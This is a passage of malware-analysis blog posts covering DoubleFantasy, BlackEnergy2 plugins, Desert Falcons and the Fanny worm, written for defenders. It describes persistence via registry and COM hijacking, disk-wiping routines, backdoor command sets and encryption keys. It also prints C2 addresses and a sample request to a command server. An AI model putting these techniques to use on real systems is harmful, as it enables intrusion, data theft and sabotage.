012.003.004.000 • 012.003.004.001 • 013.000.000.000 Interestingly, the most popular versions are 8 and 12: We will describe some of the versions that we managed to discover including 8.2.0.3, 8.1.0.4 and 12.2.0.1. DoubleFantasy Payload v.8.2.0.3 Md5 b8c0eb946de83fe8440fefbacf7de4a2 Size 69'632 bytes Type Win32 GUI DLL Timestamp Tue Mar 31 14:32:42 2009 (GMT) Filenames ee.dll, actxprxy32.dll This module uses a technique known as DLL COM hijacking which provides a capability to load the code in different processes. Initialization First of all, it checks if the running module is named "ee.dll" and, if so, will undertake the final installation steps: • Try to find configuration settings in registry key HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{6AF33D21-9BC5-4f65-8654-B8059B822D91}\TypeLib, in value "DigitalProductId". If this value exists it decodes it using base64 and decrypts using RC6 (with a 16-bytes HEX key: 66 39 71 3C 0F 85 99 81 20 19 35 43 FE 9A 84 11). • If the key was not found in the registry, it loads configuration from a resource. • It copies itself to one of the two variants of filenames. Then it substitutes one of the system components by renaming and replacing the original. Original File Registry Key Registry Value New Value (Variant 1) New Value (Variant 2) linkinfo.dll HKLM\System\CurrentControlSet\ Control\SessionManager\KnownDLLs LINKINFO LI.DLL LINK32.DLL hgfs1.dll HKLM\SYSTEM\CurrentControlSet\ Services\hgfs\networkprovider ProviderPath hgfs32.dll hgfspath.dll midimap.dll HKLM\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\Drivers32 midimapper midimapper.dll midimap32.dll actxprxy.dll HKCR\CLSID\ {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}\ InProcServer32 (Default) actxprxy32.dll actxprxyserv.dll • Set 64-bit value from config to (Default) value of HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{6AF33D21-9BC5-4f65-8654-B8059B822D91}\TypeLib key in form of {8C936AF9-243D-11D0-xxxx-xxxxxxxxxxxx}, it seems to be used later as victim ID when connecting to C&C server. • Set (Default) value of HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{6AF33D21-9BC5-4f65-8654-B8059B822D91}\Version to "008.002.000.003" string. • Upon the creation of a key it performs additional steps to set KEY_ALL_ACCESS rights for Everyone. • Update start time, encode and write back config to registry value HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{6AF33D21-9BC5-4f65-8654-B8059B822D91}\DigitalProductId If an error occurs, it sets HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{6AF33D21-9BC5-4f65-8654-B8059B822D91}\MiscStatus\(Default) value to "0". Registry value {CE0F7387-0BB5-E60B-8B4E-xxxxxxxxxxxx} then contains xor-encrypted error code. If there is an initialization error, if the hosting process is "explorer.exe" or "avp.exe", it supresses any exceptions and continues execution. This could indicate that if there were any errors in these processes they must not be shut down because of them. To correctly hijack the replaced COM objects, the code exports a set of functions bound to original DLL files. CompareLinkInfoReferents = linkinfo.CompareLinkInfoReferents CompareLinkInfoVolumes = linkinfo.CompareLinkInfoVolumes CreateLinkInfo = linkinfo.CreateLinkInfo DestroyLinkInfo = linkinfo.DestroyLinkInfo DisconnectLinkInfo = linkinfo.DisconnectLinkInfo DllCanUnloadNow = actxprxy.DllCanUnloadNow DllGetClassObject = actxprxy.DllGetClassObject DllRegisterServer = actxprxy.DllRegisterServer DllUnregisterServer = actxprxy.DllUnregisterServer DriverProc = midimap.DriverProc GetCanonicalPathInfo = linkinfo.GetCanonicalPathInfo GetLinkInfoData = linkinfo.GetLinkInfoData GetProxyDllInfo = actxprxy.GetProxyDllInfo IsValidLinkInfo = linkinfo.IsValidLinkInfo NPAddConncection = hgfs1.NPAddConncection NPAddConncection3 = hgfs1.NPAddConncection3 NPCancelConncection = hgfs1.NPCancelConncection NPCloseEnum = hgfs1.NPCloseEnum NPEnumResource = hgfs1.NPEnumResource NPFormatNetworkName = hgfs1.NPFormatNetworkName NPGetCaps = hgfs1.NPGetCaps NPGetConnection = hgfs1.NPGetConnection NPGetResourceInformation = hgfs1.NPGetResourceInformation NPGetResourceParent = hgfs1.NPGetResourceParent NPOpenEnum = hgfs1.NPOpenEnum ResolveLinkInfo = linkinfo.ResolveLinkInfo modMessage = midimap.modMessage modmCallback = midimap.modmCallback The implants periodically run checks against a special file defined in config. If that file has changed since the last check, or at least a week has passed since the last check, it does the following: • Perform a connectivity check via public domains (specified in config, i.e. "www.microsoft.com" and "www.yahoo.com") using HTTP POST requests. • If Internet access is available, connect to one of two C&C IPs or hostnames (specified in config: i.e. 81.31.34.175 and 195.128.235.23). Standard HTTP/HTTPS ports 80 and 443 are probed. • Send a POST request to the C&C with additional headers "EIag: 0d1975bfXXXXXXXX9c:eac',0Dh,0Ah" – where XXXX XXXX – is part of victim ID • Request additional data: victim ID, version, MAC address. The data is encrypted using RC6 and encoded using Base64. (RC6 key: 8B 4C 25 04 56 85 C9 75 06 33 C0 5E C2 08 31 F6). The C&C communication code performs the following: • Received data is decoded using Base64 and decrypted using RC6. The result is interpreted as a backdoor command. • Results of the command execution are sent back to the C&C. It then attempts to fetch the next command from the server. • Uninstalls itself if it can't connect to the C&C server within 180 days (configurable). The following commands are supported by the backdoor: Cmd code Command Name Description Download&Run Group J (0x4a) Create File Create an empty file; if file already exists get its size. D (0x44) Append File Append chunk of data to a file (created by the "J" cmd). V (0x56) Run or Copy Check CRC16 of file received via D command, delete it if the check fails. Depending on the commands flag: • Copy file to a new location • Load file as a DLL • Start file as a new process • Load DLL using custom built-in loader and call "dll_u" export. Upload Group K (0x4b) Get File Size Get file size. S (0x53) Read File Read file specified by 'K' command, send it to C&C. It can delete the file after transfer (under some condition). Service Group ` (0x60) Get Info Collect info (IP and MAC addresses, implant version, system proxy server, Windows Registered Owner and Organization, Windows version and ProductID, Locale/Language and Country, Windows directory path, connection type, list of all HKLM\Software subkeys). p (0x70) Set Victim ID Prepare to change Victim ID. u (0x75) Set Interval Change C&C connection interval (seven days by default). v (0x76) Set C&C IP Change primary C&C IP address. x (0x78) Set File Path Change path and name of File-under-inspection. (0x80) Read File Delete file specified in command. B (0x42) Reset Victim ID Change Victim ID to the one set by Set Victim ID command: Subcmd 0 – reconnect to C&C Subcmd 1 – reset RC6 context Subcmd 2 – uninstall DoubleFantasy Payload v.8.1.0.4 Location %System%\MSREGSTR.EXE MD5 9245184228af33d3d97863daecc8597e Size 31'089 Type Win32 GUI EXE Timestamp Wed Mar 22 18:25:55 2006 (GMT) Version Info FileDescription Registration Software LegalCopyright Copyright © Microsoft Corp. 1993-1995 CompanyName Microsoft Corporation FileVersion 4.00.950 InternalName MSREGSTR OriginalFilename MSREGSTR.EXE Compared to version 8.2, version 8.1 implements the same tasks slightly differently. Differences: • This is an EXE file running as a service process. • Configuration data stored in the overlay of the file, instead of in resources. • Other registry keys are used as a config storage – set of subkeys under HKLM\Software\Microsoft\Windows\CurrentVersion\Setup\Common • RC6 encryption and Base64 encoding is not used. The network traffic data is sent in plaintext or simply XOR-encrypted. • The number of supported remote commands is only four. • The command encoding type is different. • Supports Windows 9x family. DoubleFantasy Payload v.12.2.0.1 Location %System%\actxprxy32.dll MD5 562be0b1930fe5de684c2c530619d659 769d099781220004540a8f6697a9cef1 Size 151552 Type Win32 GUI DLL Timestamp Wed Aug 04 07:55:07 2004 (GMT), probably fake The implementation of version 12.2 is similar to version 8.2, although it is twice the size due to the addition of a big new library. The main purpose of this new library to steal user names and passwords from: • live running Internet Explorer or Firefox browser memory • Internet Explorer proxy configuration, stored in the Windows registry • Windows protected storage (up to Windows XP) • Windows authentication subsystem (Vista+) In addition to browsers, the library can also inject malicious code and read the memory of other processes in order to obtain and decrypt users' passwords. The same library is also used inside the main EQUATIONDRUG orchestrator and TRIPLEFANTASY modules. The library gathers stolen credentials and then probes them when accessing proxy server while connecting to the Internet, and, if a probe was successful, the valid credentials are encrypted with RC6 and encoded with BASE64 to be used later. In this version the data encryption RC6 key is: 66 39 71 3C 0F 85 99 81 20 19 35 43 FE 9A 84 11 The traffic encryption RC6 key is: 32 EC 89 D8 0A 78 47 22 BD 58 2B A9 7F 12 AB 0C The stolen user data is stored in the Windows registry as @WriteHeader value, inside two random keys in the HKLM\SOFTWARE\Classes\CLSID\{77032DAA-B7F2-101B-A1F0-01C29183BCA1}\Containers node Summary The disk used in the Houston attack represents a rare and unusual operation for the Equation Group. We presume that such attacks were crafted only for important victims who couldn't otherwise be reached, for instance, through a web-based attack vector. This is confirmed by the fact that the exploitation library had three exploits inside, two of which were zero-days at the time. The DoubleFantasy Malware is usually the first step in the infection of a victim by the Equation Group. Once the victim has been confirmed by communicating with the backdoor and checking various system parameters, a more sophisticated malware system is deployed, such as EquationDrug or Grayfish. During the upcoming blogposts, we will continue to describe the more sophisticated malware families used by the Equation Group: EquationDrug and GrayFish. ### BE2 extraordinary plugins, Siemens targeting, dev fails Tue, 02/17/2015 - 19:37 Our November post introducing our BlackEnergy2 (BE2) research described new findings on the group's activity. We presented both details on their plugins and significant findings about some of their targets and victims. In this post, let's examine several additional plugins more closely, targeting details around BE2 Siemens exploitation, and some of their unusual coding failures. We previously introduced an unknown set of plugins and functionality for the linux platform, six in total. For the windows platform, we collected 17 plugins. The last post noted the difficulty in collecting on this group. We finish descriptions for our set in this post. bs cert dstr fs grc jn kl prx ps rd scan sn ss tv upd usb vsnet We also collected plugins for the MIPS/ARM architectures, as noted in the previous BE2 post. weap ps nm snif hook uper Extraordinary Functionality Let's first examine some of the newest and most surprising Windows plugins. It's interesting that all of these plugins use a custom "FindByHash" function to evade detection schemes and to slow analysis... The "Destroy" plugin, dstr Name dstr.dll MD5 8a0a9166cd1bc665d965575d32dfa972 Type Win32 DLL Size 26,474 bytes CompiledOn 2014.06.17 08:42:43 The most troubling plugin in the list is the "dstr" plugin. It is a Windows-only plugin. It was used to overwrite data by the BE2 actor, destroying data stored on hard drives by overwriting file contents. While its use may be intended to cover their tracks, it is heavy handed to use this type of tool to cover one's tracks in a network. Most likely it is a tool of sabotage, much like the Destover wiper seen on Sony Pictures Entertainment's networks. However, it's interesting that the BE2 developers created wiper code different from the Destover and Shamoon wiper malware we saw in the Saudi Aramco and SPE attacks. Instead of re-using the commercial EldoS RawDisk drivers in their malware, the BE2 developers wrote their own low-level disk and file destruction routines. It's also a much more chilling deployment of wipers - instead of a poorly defended media studio, it was delivered to ICS environments. In order to overwrite stored data on all Windows versions, the dstr plugin supports both user-mode and kernel-mode wiper functionality, which is somewhat surprising. The component maintains both an embedded win32 library and win64 driver modules for its kernel mode functionality. They are rc4 encrypted. User-mode functionality The plugin identifies device id's for the system's HDD and creates a handle to the system's physical drive, with "GENERIC_READ or GENERIC_WRITE" access. Several calls to DeviceIoControl collects data on the physical location of the volume, and the size and properties of this disk. It uses DeviceIoControl with the IOCTL_DISK_GET_DRIVE_GEOMETRY control code in order to retrieve Bytes Per Sector value. dstr then wipes out all open handles to the disk by dismounting it with the FSCTL_DISMOUNT_VOLUME control code. This routine prepares the system for overwrite and ensures no conflicts for plugin file I/O. Then it makes multiple WriteFile calls to write a zeroed out buffer to disk. The dstr plugin maintains code for unlocking and deleting the BE2 driver from disk, furthering the group's goal of keeping their traces hidden from researchers. And notice the FindByHash set of calls above, this sfc_os call disables Windows File Protection for a minute while an application can delete or modify the locked file. So this plugin and its call can proceed and delete the driver. The plugin looks over all the services in the %system32%\drivers folder and checks the write permission. If access is provided, it unlocks the file, rewrites the embedded driver under the existing driver name and launches it. Drivers and kernel mode functionality Decrypted 32-bit driver Name driver.sys MD5 c4426555b1f04ea7f2e71cf18b0e5b6c Type Win32 driver Size 5,120 bytes CompiledOn 2014.06.10 13:12:22 GMT Decrypted 64-bit driver Name driver.sys MD5 2cde6f8423e5c01da27316a9d1fe8510 Type Win64 driver Size 9,136 bytes CompiledOn 2014.06.10 13:12:04 GMT The 32-bit and 64-bit drivers are identical and compiled from the same source code. These small Windows drivers are supposed to support FAT32 and NTFS file systems, and contain two large code implementation mistakes. In spite of these flaws, it is clear that the author's goal was to parse a file system and then write random data across files. Extraordinary Fails These coding fails are unique to this dstr plugin, suggesting a development team effort behind the plugin set code. Fail #1: The authors reversed the routines for FAT32 and NTFS data wiping when checking the presence of the "FAT32" string in the first 1024-bytes of the system drive. Fail #2: In the FAT32 routine the Root Directory Sector Number is calculated and is dealt as the absolute offset inside the file rather than next multiplying this number by the bytes per sector In comparison, there is no such mistake in the NTFS routine and the calculation of the MFT offset is implemented properly: Goal - File Content Corruption Apart from that, it is interesting that the authors implement NTFS wiping in an unusual way with strange logic compared to FAT32 'straightforward' wiping. The plugin accomplishes checks for FILE records and at first skips them. Then under certain conditions it rewrites non-FILE record sectors with random buffer which probably corresponds to some file contents and proceeds looping. Then it ends up rewriting the first sectors of MFT and MFT mirror. grc, plus.google.com replacement communications plugin Name grc.dll MD5 ee735c244a22b4308ea5d36afee026ab Type Win32 DLL Size 15,873 bytes CompiledOn 2013.09.25 07:19:31 This plugin creates a backup communications channel to yet another legitimate service. Most likely this backup channel is used to cloak outbound communications on monitored networks. We have seen APT using everything from Twitter to Google Docs to hide communications in plain sight, and this time the abused service is Google Plus. This plugin implements the standard Windows HTTP services to interact with Google Plus over https, seeking to find a png file. The plugin is provided with a specific Google Plus id to connect with, and uses the OLE stream Windows structured storage API along with the GDI+ bitmap functions to handle and parse this png file. This png file content is actually encrypted data containing the new BE configuration file just as it was obtained using 'normal' C&C communication. It is encrypted with RC4, just like the embedded dstr drivers. But unlike to the 'typical' RC4 BE decryption scheme that uses RC4 once, here it uses RC4 three times: once with hardcoded key found in the grc binary, the second time using the key extracted from the previous decrypted result, and the third time using the 'id' machine's identifier that is normally served as the encryption key during the C&C communication. Universal serial bus data collection plugin, usb Name usb.dll MD5 0d4de21a2140f0ca3670e406c4a3b6a9 Type Win32 DLL Size 34,816 bytes CompiledOn 2014.03.21 07:02:48 The usb plugin collects all available information on connected USB drives, and writes out all of these details to a text file, packs it, provides to the main BlackEnergy code, which communicates to a c2. It uses multiple api calls to collect information on multiple types of connected usb storage devices. It enumerates all usb storage devices connected to the system and retrieves data from all, including SCSI mass storage devices. And, most interestingly, it may be the first implementation of BadUSB-related techniques in APT re-purposed COTS malware that we have seen in the wild. The code queries scsi devices directly and sends them two types of SCSI commands. The first command with the opcode 0x1A which corresponds to MODE SENSE may result just in the logging of the failed call ('SendSCSICommand return false' message). The second type of SCSI command remains mysterious. It uses undefined opcode 0xf0 and there is no direct evidence of its purpose as it is stated to be vendor specific. This mysterious opcode is referenced around the same time frame of the plugin development in BadUSB offensive research http://algorithmics.bu.edu/twiki/bin/view/EC521/SectionA1/Group5FinalReport. Here, it is noticed in the USB traffic generated by an SMI controller tool. To be specific, there are two calls with the opcode 0xf0 in the code, each passed its own parameters. One of the parameters, 0x2A, is mentioned in the paper to return the string containing the firmware version, NAND flash ID, and controller part number. But this returned information is not logged anywhere. Also the code loops to retrieve detailed physical data about every attached storage device: • number of cylinders • media type (floppy, fixed hard drive, removable media, etc) • number of tracks per cylinder • sectors per track • number of bytes per sector • physical disk size in bytes • Device Instance ID Motherboard and firmware data collection plugin, bios Name bs.dll MD5 4747376b00a5dd2a787ba4e926f901f4 Type Win32 DLL Size 210,432 bytes CompiledOn 2014.07.29 00:40:53 The bios plugin gathers low level host system information: • BIOS • motherboard • processor • OS It uses several techniques to gather this information: • WMI • CPUID • win32 api As a Windows Management Instrumentation (WMI) client application, it initializes COM and connects to the \\root\cimv2 namespace to use the IWbemServices pointer and make WMI requests. The code executes wql queries ("wql" is "sql for wmi", a subset of sql) to gather victim host details, like the query "SELECT Description, Manufacturer, Name, ProcessorId FROM Win32_Processor". Here are several queries from the BlackEnergy2 plugin code: • SELECT Description, Manufacturer, Name, ProcessorId FROM Win32_Processor • SELECT Product, Manufacturer, Version FROM Win32_BaseBoard • SELECT Name, OSArchitecture, Version, BuildNumber FROM Win32_OperatingSystem • SELECT SerialNumber, Description, Manufacturer, SMBIOSBIOSVersion FROM Win32_BIOS These wql calls provide the attacker with the data like the lines below: Description=Intel64 Family 6 Model 60 Stepping 3 Manufacturer=GenuineIntel Name=Intel(R) Core(TM) i7-4710MQ CPU @ 2.50GHz ProcessorId=1FEAFBCF000116A9 Product=7MPXM1 Manufacturer=AsusTek Version=?? Name=Microsoft Windows 8.1 Pro OSArchitecture=64-bit Version=6.3.9600 BuildNumber=9600 SerialNumber=7DTLG45 Description=A12 Manufacturer=AsusTek SMBIOSBIOSVersion=A12 This selectivity is fairly usual. And the plugin does not modify its own behavior based the collected values. What can we infer about the selection of only these values, as they are only being collected and sent back to the attackers? Here are some possibilities: • the attackers want to evade sandbox and honeypot/decoy environments, and use this collected data to id the host system. • the attackers have prior knowledge of the environment they are attempting to penetrate, down to the equipment make. Or, they have an idea of the types of hardware they would expect or want to see. In ICS and SCADA environments, these details could be very valuable for an attacker setting up shop. These details could aid in establishing persistence, evaluating true resource capacity and capabilities, tracking down the source of the equipment, or aiding further lateral movement • the attackers know nothing about the network they are penetrating. They are collecting this information to better understand where this plugin really is running in the victim environment and planning their next moves When using standard win32 api, the application implements calls to retrieve information on system locales. Oddly, there is special handling for one nordic locale in this particular plugin, "Norwegian-Nynorsk". The CPU data collection functionality first calls the Intel cpuid instruction directly. It also directly handles multi-cpu systems and each of their feature sets. This SMP support is hard coded into the plugin. Additional BE2 Siemens Exploitation Details Targeting details for BE2 actor events are interesting. When focusing on research sites and energy engineering facilities, the group remotely exploited Siemens' Simatic WinCC systems. In these events, the attackers attempted to force the ccprojectmgr.exe process to download and execute a specific BlackEnergy2 payload. Let's examine a couple of example targets here. Based on the different delays for return, the attacks were possibly not automated. Target A: The first exploit attempt ksn recorded was March 2014. The attackers returned with a second failed attempt to exploit that same research system on April 2014, approximately 30 days, 2 hours later. Target B: The BE2 actor then attacked a new target system in May 2014 and failed, and returned with an exploit attempt on that same system in July 2014. So it looks like there may be a timing cycle to their visits, but the volumes here are too low to be significant. In all four of these attempts on two different targets, the attackers tried to download their payload from hxxp://94.185.85(dot)122/favicon.ico. The payload changed slightly from March 2014 to the very end of July 2014, presenting the following md5(s). All of these droppers are BE2 malware, modify an existing kernel driver service like "ACPIEC" and start it to load the BE2 kernel module. Note that the attackers planned on re-using the same c2 for the first target, but changed the callback c2 for the second target. None of these components are signed: fda6f18cf72e479570e8205b0103a0d3 → drops df84ff928709401c8ad44f322ec91392, driver, debug string:"xxxxxxxx.pdb". C2: 144.76.119.48 (DE, Hetzner Online AG, AS24940) fe6295c647e40f8481a16a14c1dfb222 → drops 39835e790f8d9421d0a6279398bb76dc, driver, debug string:"xxxxxxxx.pdb". C2: 144.76.119.48 (DE, Hetzner Online AG, AS24940) ac1a265be63be7122b94c63aabcc9a66 → drops b973daa1510b6d8e4adea3fb7af05870, driver. C2: 95.143.193.131 (SE, Internetport Sweden AB, AS49770) 8e42fd3f9d5aac43d69ca740feb38f97 → drops f4b9eb3ddcab6fd5d88d188bc682d21d, driver. C2: 46.165.222.6 (DE, Leaseweb Germany GmbH, AS16265) ### The Desert Falcons targeted attacks Tue, 02/17/2015 - 14:00 Download Full Report PDF The Desert Falcons are a new group of Cyber Mercenaries operating in the Middle East and carrying out Cyber Espionage across that region. The group uses an arsenal of homemade malware tools and techniques to execute and conceal its campaigns on PC and Mobile OS. #FalconsAPT is the 1st known campaign to be fully developed by Arabic #hackers to target the Middle East #TheSAS2015 The first Desert Falcons operations were seen in 2011 and the group made its first infections in 2013. By the end of 2014 and beginning of 2015 the group was very active. Full report The full report can be found here. FAQ Where are the Victims Located? There are more than 3,000 victims in 50+ countries. Most of them are found in Palestine, Egypt, Israel and Jordan, but others have been discovered in Saudi Arabia, the UAE, the US, South Korea, Morocco, Qatar and others. Who are the Victims? The attacks targeted several classes of victim, including Military and Government organizations, employees responsible for health organizations, combating money laundering, economic and financial institutions, leading media entities, research and educational institutions, energy and utilities providers, activists and political leaders, physical security companies and other targets that have access to important geopolitical information. How are the victims infected? Malware writers use a variety of technical and social engineering methods to deliver their files and encourage victims to run them, creating an effective infection vector. Examples include a fake website that promises to publish censored political information and asks users to download a plugin to view a video (the plugin contains the malware). Another example involves the use of spear phishing emails or social network messages to deliver malicious files using an extension override (e.g. malicious files ending with .fdp.scr would appear .rcs.pdf). Sample of documents and videos used in spear phishing What are the goals of the operations? The attackers are looking for sensitive intelligence information that could help them in further operations or even extortion. The victims are targeted for the secrets in their possession or intelligence information relating to their positions in governments or important organizations. More than 1 million files were stolen from victims. Stolen files include diplomatic communications from embassies, military plans and documents, financial documents, VIP and Media contact lists and files. Who are the attackers and what do we know about them? The Desert Falcons operators are native Arabic speakers. There are about 30 of them working in three teams. Some of their identities are already known. The attackers are running three campaigns to target different types of victim. Where are the attackers based? The attackers are based in Palestine, Egypt and Turkey. Which malware do they use to infect their victims? There are three main backdoors used to infect victim devices: Computer backdoors • The Main Falcons Trojan • The DHS* Spyware Trojan Computer Backdoors give the attackers full scope to use keyloggers and screenshotters, access files and even make audio recordings. DHS naming is used by the attackers to describe the nickname initials of one of the developers (D** H*** Spyware). Mobile Backdoor • A mobile backdoor targeting Android devices. Mobile Backdoors give attackers access to Call and SMS logs How did you become aware of this threat? Who reported it? We became aware of the threat during an incident investigation in the Middle East. Is it still active? The operation is very active and is currently in peak condition. We are continuously identifying new samples and victims for all related campaigns. How is this different from any other Cyber espionage attacks? Desert Falcons are the first known Cyber espionage attacks to be fully developed and operated by Arabic speakers to target the Middle East. It has affected a stunning range of victims, stealing more than 1 million special files. Is this a nation-state sponsored attack? The profiles of the targeted victims and the apparent political motives behind the attacks make it possible that Desert Falcons operations could be nation state sponsored. At present, though, this cannot be confirmed. Why this name? The falcon is a rare bird that has been highly prized for a centuries in desert countries in the Arab world. It is a symbol of hunting and sharp vision. The Desert Falcons are proficient cyberhunters with carefully chosen targets, all of whom are thoroughly investigated before the attack and closely watched after being infected. How can users protect themselves? Kaspersky Lab products detect and block all variants of the malware used in this campaign: Trojan.Win32.DesertFalcons Trojan-Spy.Win32.Agent.cncc Trojan-Spy.Win32.Agent.ctcr Trojan-Spy.Win32.Agent.ctcv Trojan-Spy.Win32.Agent.ctcx Trojan-Spy.Win32.Agent.cree Trojan-Spy.Win32.Agent.ctbz Trojan-Spy.Win32.Agent.comn Trojan.Win32.Bazon.a ### A Fanny Equation: "I am your father, Stuxnet" Tue, 02/17/2015 - 05:00 At the Virus Bulletin conference in 2010, researchers from Kaspersky Lab partnered with Microsoft to present findings related to Stuxnet. The joint presentation included slides dealing with various parts of Stuxnet, such as the zero-days used in the attack. Perhaps the most interesting zero-day exploit from Stuxnet was the LNK exploit (CVE-2010-2568). This allowed Stuxnet to propagate through USB drives and infect even machines that had Autorun disabled. It was discovered during the 2010 research into Stuxnet that the LNK exploit has earlier been used in another malware, supposedly a Zlob PE, that pointed to "fanny.bmp". Back in 2010, very few people paid much attention to a piece of malware that used the LNK exploit prior to Stuxnet. Zlob is a large malware family and these kinds of crimeware-grade samples are rarely of interest to researchers digging into zero-days and nation-state sponsored operations. However, during our 2014 research into the Equation group, we created a special detection for the group's exploitation library, codenamed "PrivLib". To our surprise, this detection triggered a worm from 2008 that used the Stuxnet LNK exploit to replicate, codenamed Fanny. What's so Fanny? This PrivLib-boosted Worm, which spreads using the Stuxnet LNK exploit and the filename "fanny.bmp" was compiled on Mon Jul 28 11:11:35 2008, if we are to trust the compilation timestamp. It arrived in our December 2008 collection from the wild, so the compilation might very well be correct. "Fanny my name" could be an introductory message from the authors The 2008 "Fanny.bmp" Worm is detected by Kaspersky Lab products as Trojan-Downloader.Win32.Agent.bjqt. The malware includes the LNK exploit, which means that it is a piece of malicious software that used the Stuxnet LNK exploit before Stuxnet! The second Stuxnet exploit (MS09-025) If one piece of malicious software that used an exploit from Stuxnet before Stuxnet is a good catch, a second Stuxnet exploit makes it even more interesting. The second exploit used to be a zero-day when Fanny was operational. This means that Fanny used two zero-days to replicate, both of which were later used by Stuxnet. The specific vulnerability used for privilege escalation was patched with MS09-025: "The security update addresses these vulnerabilities by correcting the methods used for validating a change in specific kernel objects, for validating the input passed from user mode to the kernel, and for validating the argument passed to the system call. The security update also addresses a vulnerability by ensuring that the Windows kernel cleans up pointers under error conditions." The same exploit was later used in an early Stuxnet module from 2009, which was embedded into a large binary built using the Flame platform. That Stuxnet module, also known as "atmpsvcn.ocx" or Resource 207 was the technical link between Stuxnet and Flame. This story has previously been covered in our post. #Fanny used two zero-days to replicate, both of which were later used by #Stuxnet #EquationAPT #TheSAS2015 While the vulnerability exploited by both the Stuxnet/Flame module and Fanny is the same, the implementation of the exploit is different. The exploit in Stuxnet targets a specific OS version, while Fanny is designed to be universal and is capable of running on multiple platforms. It has a unique shellcode and exploit-triggering procedures for: • Windows NT 4.0 • Windows 2000 • Windows XP • Windows 2003 • Windows Vista, 2008 and possibly others from NT6.x family The implementation of the exploit in Fanny is more complex than in Stuxnet: instead of running just one payload the authors created a framework to run as many payloads as they want by replacing a system service call dispatcher nt!NtShutdownSystem with their own custom pointer from theuser-space as shown in the next figure. Fanny injected its own system service call dispatcher This enables a persistent trampoline from user-mode to kernel-mode. This feature was not present in the Stuxnet module but there are other similarities. For instance, it seems that both the developers of Stuxnet and of Fanny follow certain coding guidelines such as the usage of unique magic numbers from each function call. Most of the returned results are simply disposed but they are still part of the code. This could be the remains of a debug version of the code which could potentially log every step in the code to ease the tracking down of an error while testing. In complex systems where kernel and user-space code is running with no interaction this seems a logical and even essential method. Again, it's implemented both in the Stuxnet code and in Fanny. See next figure. Stuxnet (on the left) and Fanny (on the right) using magic return values The Fanny Malware So, what is Fanny essentially? It is a USB Worm with a sophisticated backdoor that uses the so-called "Stuxnet LNK vulnerability" to automatically execute from the USB drive even if Autorun has been disabled. It can elevate privileges to the local System using kernel exploit and drops and registers additional modules. It attempts to connect to a C&C server and deploys additional components if connection is available. If not, it uses the USB drive as a carrier to send/receive requests to and from the operator via a hidden storage area created in raw FAT structure. Typically a victim plugs in a new USB drive and opens it with Windows Explorer. You can visually observe the two stages of infection from the USB which take seconds to execute. Fanny modules MD5 0a209ac0de4ac033f31d6ba9191a8f7a Size 184320 Type Win32 DLL Internal name dll_installer.dll Compiled 2008.07.28 08:11:35 (GMT) This file is a DLL with two exports (to install and uninstall the malware). It contains a xor-encrypted config in binary resource with number 101. The config determines malware behavior: there is a command to deploy malware on the current system, URLs for the C&C server and local filenames and paths used to install embedded malware components. Fanny components inside the main executable Upon starting it checks the following mutexes: • Global\RPCMutex • Global\RPCMutex Where is a 1-byte long integer taken from the config. If any of these mutexes exist, the code doesn't run. It means that another instance of the same code is running. InstanceNum most likely identifies a variant or generation of Fanny preventing the same version from reinfecting the system but allowing for different versions to run (possibly to enable enforced update of components). The module also checks another important byte in its configuration. This byte is a counter that is decreased during successful system infection. When the counter reaches a minimal value of one the module cleans up the USB drive and stops spreading the worm. In this way the attackers limit the maximum length of the Worm's killchain. If the module is named "fanny.bmp" (the file name that Fanny uses to spread via USB drives) the module self-installs from the USB drive. As part of the initial infection process Fanny attempts to elevate current privileges if the user has no administrative rights on the current system. It uses a vulnerability patched by MS09-025 for that purpose. Only if the elevation succeeds does the malware attempt to connect to the C&C server using a URL which is stored in the config: • http://webuysupplystore[.]mooo[.]com/ads/QueryRecord200586_f2ahx.html Below is a sample request issued by the malware: GET /ads/QueryRecord200586_f2ahx.html HTTP/1.1 User-Agent: Mozilla/4.0 (compatible;) Host: webuysupplystore.mooo.com The malware expects the C&C server to reply with an HTTP 200 response and append a 0x7f-xored string that has a second stage URL. The second stage response may contain an executable file body which is saved on disk and executed. The C&C server is currently sinkholed by Kaspersky Lab, but according to our pDNS records it previously pointed to the following IP address: • 210.81.22.239 IP information The following describes the stages that were identified during the analysis of the initial and embedded components of Fanny. Infection The module searches for fanny.bmp in the root of disk drives starting from drive D: and copies it to the following locations: • %WINDIR%\system32\comhost.dll • %WINDIR%\system32\mscorwin.dll Why does Fanny make two copies of itself? Actually, there is a minor difference between these two files. Fanny patches its config in the resource section of one of the files (comhost.dll). The patched data is the value of remained maximum length of the Fanny killchain. "mscorwin.dll" is the original file copied as-is from the removable drive. So far, one copy is used for infecting other USB drives, the other is loaded on the system boot. It also copies all *.lnk files from the USB drive to "%WINDIR%\system32\" in order to reuse them when infecting other attached USB drives. Note that there may be more than one LNK file, because each LNK contains a distinct path to the DLL which gets loaded. As far as the letter of a new drive on the target system is unknown, Fanny uses several LNKs for the most common drive letters. This method was improved later in Stuxnet, which used a relative DeviceID-dependent path to the USB drive. However, even that method required several LNK files (up to four) because of different relative paths on different versions of Windows, but that's far fewer than an almost full set of letters from the Latin alphabet. Persistence Fanny creates the following registry value to achieve persistence: HKLM\System\CurrentControlSet\Control\MediaResources\acm\ECELP4\Driver. This is not a common way to make code start automatically on a system boot and it's extremely invasive, but it guarantees that the module is loaded in the address space of each process in the system, including some critical processes such as lsass.exe and services.exe running as SYSTEM user. When the module is loaded it checks other values that start from "filter" in the same registry key, i.e.: • HKLM\System\CurrentControlSet\Control\MediaResources\acm\ECELP4\filter2 • HKLM\System\CurrentControlSet\Control\MediaResources\acm\ECELP4\filter3 • HKLM\System\CurrentControlSet\Control\MediaResources\acm\ECELP4\filter8 The values contain a hosting process name and a path to a DLL or EXE file. If the current process name contains the value set as hosting process, then the module loads a DLL or starts a new process (in case of EXE file) depending on target file extension. This is a map of the processes and modules that are used in Fanny: Process Fanny module Short Description winlogon c:\windows\MSAgent\AGENTCPD.DLL USB backdoor explorer c:\windows\system32\shelldoc.dll Windows Explorer rootkit lsass c:\windows\system32\mscorwin.dll USB worm USB Worm The code of the actual Worm is part of %WINDIR%\system32\comhost.dll export with ordinal 4 (name of export is "dll_installer_4"). The DLL is a modified next-generation Worm which is copied to every attached USB drive with all related LNK files stored in Windows\System32 directory. This module is distributed by mscorwin.dll which is part of the lsass system process. Windows Explorer Rootkit The rootkit functionality is provided by a 